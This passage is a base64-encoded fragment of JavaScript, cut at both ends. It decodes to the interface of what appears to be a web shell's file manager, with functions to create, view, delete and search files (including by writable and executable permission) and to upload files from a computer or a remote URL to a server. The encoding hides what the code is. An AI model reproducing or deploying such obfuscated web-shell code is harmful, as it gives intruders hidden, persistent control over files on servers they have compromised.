ZGVyX2dvKCk7Jz5jcmVhdGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCXNob3dfYm94KHRpdGxlLCBjb250ZW50KTsKfQpmdW5jdGlvbiBuZXdmb2xkZXJfZ28oKXsKCW5ld0ZvbGRlciA9ICQoJy5uZXdGb2xkZXInKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3Rm9sZGVyOm5ld0ZvbGRlcn0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJbmF2aWdhdGUocmVzKTsKCQkJJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQl9CgkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJfSk7Cn0KZnVuY3Rpb24gbmV3ZmlsZShwYXRoKXsKCXRpdGxlID0gIk5ldyBGaWxlIjsKCXBhdGggPSBwYXRoICsgJ25ld2ZpbGUtJyArIHRpbWUoKTsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RmlsZSBOYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSduZXdGaWxlJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICduZXdmaWxlX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nbmV3ZmlsZV9nbygpOyc+Y3JlYXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KZnVuY3Rpb24gbmV3ZmlsZV9nbygpewoJbmV3RmlsZSA9ICQoJy5uZXdGaWxlJykudmFsKCk7CglzZW5kX3Bvc3Qoe25ld0ZpbGU6bmV3RmlsZX0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJdmlldyhuZXdGaWxlLCAnZWRpdCcpOwoJCQkkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIHN1Y2NlZWRlZCcpOwoJCX0KCQllbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyk7Cgl9KTsKfQpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7Cgl0aXRsZSA9ICJWaWV3IEZpbGUgLyBGb2xkZXIiOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3ZpZXdGaWxlb3JGb2xkZXInIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd2aWV3ZmlsZW9yZm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcl9nbygpOyc+dmlldzwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CmZ1bmN0aW9uIHZpZXdmaWxlb3Jmb2xkZXJfZ28oKXsKCWVudHJ5ID0gJCgnLnZpZXdGaWxlb3JGb2xkZXInKS52YWwoKTsKCXNlbmRfcG9zdCh7dmlld0ZpbGVvckZvbGRlcjplbnRyeX0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJaWYocmVzPT0nZmlsZScpewoJCQkJdmlldyhlbnRyeSwgJ2F1dG8nKTsKCQkJCXNob3dfdGFiKCdleHBsb3JlcicpOwoJCQl9CgkJCWVsc2UgaWYocmVzPT0nZm9sZGVyJyl7CgkJCQluYXZpZ2F0ZShlbnRyeSk7CgkJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJfQoJCX0KCX0pOwp9CmZ1bmN0aW9uIGRlbChwYXRoKXsKCXRpdGxlID0gIkRlbGV0ZSI7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkRlbGV0ZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZGVsZXRlJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkZWxldGVfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdkZWxldGVfZ28oKTsnPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CmZ1bmN0aW9uIGRlbGV0ZV9nbygpewoJcGF0aCA9ICQoJy5kZWxldGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7ZGVsZXRlOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CmZ1bmN0aW9uIGZpbmQocGF0aCl7CglmaW5kZmlsZSA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZpbGU8L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZWFyY2ggaW48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlUGF0aCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGVuYW1lIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVGaWxlbmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZUNvbnRhaW5zJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc1JlZ2V4Jz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVnZXg8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc0luc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD5QZXJtaXNzaW9uczwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlUmVhZGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWFkYWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVFeGVjdXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+RXhlY3V0YWJsZTwvc3Bhbj48L3RkPjwvdHI+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImZpbmRfZ29fZmlsZSgpO1wiPmZpbmQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J2ZpbmRmaWxlUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7CglmaW5kZm9sZGVyID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkZpbmQgRm9sZGVyPC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+U2VhcmNoIGluPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kRm9sZGVyUGF0aCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19mb2xkZXInKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+Rm9sZGVybmFtZSBjb250YWluczwvdGQ+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRGb2xkZXJuYW1lJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19mb2xkZXInKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kRm9sZGVybmFtZVJlZ2V4Jz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVnZXg8L3NwYW4+Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZEZvbGRlcm5hbWVJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbnM8L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kUmVhZGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWFkYWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kV3JpdGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5Xcml0YWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kRXhlY3V0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkV4ZWN1dGFibGU8L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJmaW5kX2dvX2ZvbGRlcigpO1wiPmZpbmQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J2ZpbmRSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjsKCSQoJyNleHBsb3JlcicpLmh0bWwoIjxkaXYgaWQ9J3hwbFVwbG9hZCc+IiArZmluZGZpbGUrJzxicj4nK2ZpbmRmb2xkZXIrJzwvZGl2PicpOwoJY2JveF9iaW5kKCd4cGxVcGxvYWQnKTsKfQpmdW5jdGlvbiBmaW5kX2dvX2ZpbGUoKXsKCWZpbmRfZ28oJ2ZpbGUnKTsKfQpmdW5jdGlvbiBmaW5kX2dvX2ZvbGRlcigpewoJZmluZF9nbygnZm9sZGVyJyk7Cn0KZnVuY3Rpb24gZmluZF9nbyhmaW5kVHlwZSl7CglmaW5kUGF0aCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlUGF0aCcpLnZhbCgpOiQoJy5maW5kRm9sZGVyUGF0aCcpLnZhbCgpOwoJZmluZFJlc3VsdCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlUmVzdWx0Jyk6JCgnLmZpbmRSZXN1bHQnKTsKCWZpbmROYW1lID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVGaWxlbmFtZScpLnZhbCgpOiQoJy5maW5kRm9sZGVybmFtZScpLnZhbCgpOwoJZmluZE5hbWVSZWdleCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlRmlsZW5hbWVSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRm9sZGVybmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7CglmaW5kTmFtZUluc2Vuc2l0aXZlID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVGaWxlbmFtZUluc2Vuc2l0aXZlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCWZpbmRDb250ZW50ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVDb250YWlucycpLnZhbCgpOiIiOwoJZmluZENvbnRlbnRSZWdleCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoJZmluZENvbnRlbnRJbnNlbnNpdGl2ZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoJZmluZFJlYWRhYmxlID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVSZWFkYWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kV3JpdGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCWZpbmRXcml0YWJsZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlV3JpdGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFJlYWRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7CglmaW5kRXhlY3V0YWJsZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlRXhlY3V0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRXhlY3V0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoJc2VuZF9wb3N0KAoJCXsKCQkJZmluZFR5cGU6ZmluZFR5cGUsCgkJCWZpbmRQYXRoOmZpbmRQYXRoLAoJCQlmaW5kTmFtZTpmaW5kTmFtZSwKCQkJZmluZE5hbWVSZWdleDpmaW5kTmFtZVJlZ2V4LAoJCQlmaW5kTmFtZUluc2Vuc2l0aXZlOmZpbmROYW1lSW5zZW5zaXRpdmUsCgkJCWZpbmRDb250ZW50OmZpbmRDb250ZW50LAoJCQlmaW5kQ29udGVudFJlZ2V4OmZpbmRDb250ZW50UmVnZXgsCgkJCWZpbmRDb250ZW50SW5zZW5zaXRpdmU6ZmluZENvbnRlbnRJbnNlbnNpdGl2ZSwKCQkJZmluZFJlYWRhYmxlOmZpbmRSZWFkYWJsZSwKCQkJZmluZFdyaXRhYmxlOmZpbmRXcml0YWJsZSwKCQkJZmluZEV4ZWN1dGFibGU6ZmluZEV4ZWN1dGFibGUKCQl9LAoJCWZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQlmaW5kUmVzdWx0Lmh0bWwocmVzKTsKCQkJfQoJCX0KCSk7Cn0KZnVuY3Rpb24gdWxfZ29fY29tcCgpewoJdWxfZ28oJ2NvbXAnKTsKfQpmdW5jdGlvbiB1bF9nb191cmwoKXsKCXVsX2dvKCd1cmwnKTsKfQpmdW5jdGlvbiB1bChwYXRoKXsKCXVsY29tcHV0ZXIgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwgdWxjb21wJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIENvbXB1dGVyIDxhIG9uY2xpY2s9J3VsX2FkZF9jb21wKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWxjb21wYWRkJz48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwidWxfZ29fY29tcCgpO1wiPnVwbG9hZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxDb21wUmVzdWx0Jz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48ZGl2IGlkPSd1bERyYWdORHJvcCc+T3IgRHJhZyBhbmQgRHJvcCBmaWxlcyBoZXJlPC9kaXY+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsRHJhZ05Ecm9wUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Cgl1bHVybCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCB1bHVybCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5VcGxvYWQgRnJvbSBVcmwgPGEgb25jbGljaz0ndWxfYWRkX3VybCgpOyc+KCspPC9hPjwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHkgY2xhc3M9J3VsdXJsYWRkJz48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwidWxfZ29fdXJsKCk7XCI+dXBsb2FkPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSd1bFVybFJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOwoJY29udGVudCA9IHVsY29tcHV0ZXIgKyAnPGJyPicgKyB1bHVybCArICI8aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ndWxfcGF0aCcgdmFsdWU9JyIrcGF0aCsiJz4iOwoJJCgnI2V4cGxvcmVyJykuaHRtbChjb250ZW50KTsKCXVsX2FkZF9jb21wKCk7Cgl1bF9hZGRfdXJsKCk7CgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ2VudGVyJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7Cgl9KTsKCSQoJyN1bERyYWdORHJvcCcpLm9uKCdkcmFnb3ZlcicsIGZ1bmN0aW9uKGUpewoJCWUuc3RvcFByb3BhZ2F0aW9uKCk7CgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJfSk7CgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJvcCcsIGZ1bmN0aW9uKGUpewoJCWUuc3RvcFByb3BhZ2F0aW9uKCk7CgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJCWZpbGVzID0gZS50YXJnZXQuZmlsZXMgfHwgZS5kYXRhVHJhbnNmZXIuZmlsZXM7CgkJdWxSZXN1bHQgPSAkKCcudWxEcmFnTkRyb3BSZXN1bHQnKTsKCQl1bFJlc3VsdC5odG1sKCcnKTsKCQkkLmVhY2goZmlsZXMsIGZ1bmN0aW9uKGkpewoJCQlpZih0aGlzKXsKCQkJCXVsVHlwZSA9ICdEcmFnTkRyb3AnOwoJCQkJZmlsZW5hbWUgPSB0aGlzLm5hbWU7CgkJCQl2YXIgZm9ybURhdGEgPSBuZXcgRm9ybURhdGEoKTsKCQkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlJywgdGhpcyk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsU2F2ZVRvJywgZ2V0X2N3ZCgpKTsKCQkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsIGZpbGVuYW1lKTsKCQkJCWZvcm1EYXRhLmFwcGVuZCgndWxUeXBlJywgJ2NvbXAnKTsKCQkJCWVudHJ5ID0gIjxwIGNsYXNzPSd1bFJlcyIrdWxUeXBlK2krIic+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOycgY2xhc3M9J3VsRmlsZW5hbWUiK3VsVHlwZStpKyInPiIrZmlsZW5hbWUrIjwvYT4mbmJzcDs8c3BhbiBjbGFzcz0ndWxQcm9ncmVzcyIrdWxUeXBlK2krIic+PC9zcGFuPjwvcD4iOwoJCQkJdWxSZXN1bHQuYXBwZW5kKGVudHJ5KTsKCQkJCWlmKHRoaXMuc2l6ZTw9MCl7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQkJCX0KCQkJCWVsc2V7CgkJCQkJdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSk7CgkJCQl9CgkJCX0KCQl9KTsKCX0pOwp9CmZ1bmN0aW9uIHVsX2FkZF9jb21wKHBhdGgpewoJcGF0aCA9IGh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTsKCSQoJy51bGNvbXBhZGQnKS5hcHBlbmQoIjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5GaWxlPC90ZD48dGQ+PGlucHV0IHR5cGU9J2ZpbGUnIGNsYXNzPSd1bEZpbGVDb21wJz48L3RkPjwvdHI+PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bFNhdmVUb0NvbXAnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX2NvbXAnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5GaWxlbmFtZSAoT3B0aW9uYWwpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVuYW1lQ29tcCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX2NvbXAnKTtcIj48L3RkPjwvdHI+Iik7Cn0KZnVuY3Rpb24gdWxfYWRkX3VybChwYXRoKXsKCXBhdGggPSBodG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7CgkkKCcudWx1cmxhZGQnKS5hcHBlbmQoIjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5GaWxlIFVSTDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlVXJsJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9VcmwnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkPkZpbGVuYW1lIChPcHRpb25hbCk8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsRmlsZW5hbWVVcmwnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+Iik7Cn0KZnVuY3Rpb24gdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSl7Cglsb2FkaW5nX3N0YXJ0KCk7CgkkLmFqYXgoewoJCXVybDogdGFyZ2V0dXJsLAoJCXR5cGU6ICdQT1NUJywKCQlkYXRhOiBmb3JtRGF0YSwKCQljYWNoZTogZmFsc2UsCgkJY29udGVudFR5cGU6IGZhbHNlLAoJCXByb2Nlc3NEYXRhOiBmYWxzZSwKCQl4aHI6IGZ1bmN0aW9uKCl7CgkJCW15WGhyID0gJC5hamF4U2V0dGluZ3MueGhyKCk7CgkJCWlmKG15WGhyLnVwbG9hZCl7CgkJCQlteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLCBmdW5jdGlvbihlKXsKCQkJCQlwZXJjZW50ID0gTWF0aC5mbG9vcihlLmxvYWRlZCAvIGUudG90YWwgKiAxMDApOwoJCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCAnKyBwZXJjZW50ICsnJSApJyk7CgkJCQl9LCBmYWxzZSk7CgkJCX0KCQkJcmV0dXJuIG15WGhyOwoJCX0sCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzLm1hdGNoKC9XYXJuaW5nLipQT1NULipDb250ZW50LUxlbmd0aC4qb2YuKmJ5dGVzLipleGNlZWRzLip0aGUuKmxpbWl0LipvZi8pKXsKCQkJCXJlcyA9ICdlcnJvcic7CgkJCX0KCQkJaWYocmVzPT0nZXJyb3InKXsKCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOwoJCQl9CgkJCWVsc2V7CgkJCQkkKCcudWxSZXMnK3VsVHlwZStpKS5odG1sKHJlcyk7CgkJCX0KCQkJbG9hZGluZ19zdG9wKCk7CgkJfSwKCQllcnJvcjogZnVuY3Rpb24oKXsKCQkJbG9hZGluZ19zdG9wKCk7CgkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOwoJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bFByb2dyZXNzJyt1bFR5cGUraSk7CgkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQl